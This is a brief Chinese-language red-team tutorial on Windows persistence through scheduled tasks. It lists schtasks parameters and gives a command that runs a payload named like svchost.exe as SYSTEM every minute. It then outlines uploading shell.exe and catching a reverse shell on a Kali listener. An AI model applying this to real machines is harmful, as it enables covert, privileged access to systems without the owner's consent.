windows权限维持之计划任务

schtasks常用参数:
    /Create         创建新计划任务。
    /Delete         删除计划任务。
    /Query          显示所有计划任务。
    /Change         更改计划任务属性。
    /Run            按需运行计划任务。
    /End            中止当前正在运行的计划任务。
    /ShowSid        显示与计划的任务名称相应的安全标识符。
    /tn             指定任务名称
    /tr             指定任务运行的程序和命令
    /sc             指定计划频率(有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、
                       MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT)
    /ru             指定任务运行权限
    /mo             计划运行的频率

 schtasks /create /sc minute /mo 1 /tn "test" /tr C:\svchost.exe /ru system

                 以1分钟的频率运行svchost.exe程序

 1、假设shell.exe上传至C:\shell.exe

 2、输入命令

3、kali开启监听

4、一分钟后，成功反弹shell